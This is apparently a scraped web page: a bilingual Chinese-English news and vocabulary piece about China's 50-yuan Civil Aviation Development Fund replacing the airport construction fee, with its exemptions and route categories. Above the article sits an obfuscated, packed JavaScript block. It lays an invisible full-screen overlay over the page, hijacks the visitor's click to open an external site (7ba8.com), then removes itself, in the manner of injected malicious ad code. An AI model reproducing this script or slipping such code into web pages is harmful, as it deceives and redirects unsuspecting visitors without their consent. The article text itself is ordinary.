<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>长期为人诟病的“机场建设费”取消了,但是却出现了一个征收标准不变的“民航发展基金”。不少网友质疑此举“换汤不换药”。
According to the interim measures on collecting, using and managing the Civil Aviation Development Fund, passengers flying on domestic flights will pay 50 yuan ($7.93) each per trip, starting this month.
根据征收、使用和管理民航发展基金的临时办法,从本月开始,对乘坐国内航班的旅客征收每人次50元。
上面报道中的Civil Aviation Development Fund就是“民航发展基金”,由原来对乘客征收的airport construction fee(机场建设费)以及对航空公司征收的Civil Aviation Infrastructure Construction Fund(民航基础设施建设基金)合并而成。“民航发展基金”开始征收以后,对于国内旅客而言,实际支出没有变化,但对于国际航线的旅客来说,他们需要多付20元的tourism development fund(旅游发展基金)。除去民航发展基金,旅客现在还需支付fuel surcharge(燃油附加费)。
以下航空旅客可以免征民航发展基金:持diplomatic passport(外交护照)乘坐国际及地区航班出境的旅客;年龄在12周岁以下(含)的乘机儿童;乘坐domestic feeder flight(国内支线航班)的旅客。航线可分为international flight(国际航线)、domestic flight(国内航线)和regional flight(地区航线)三大类。 |
|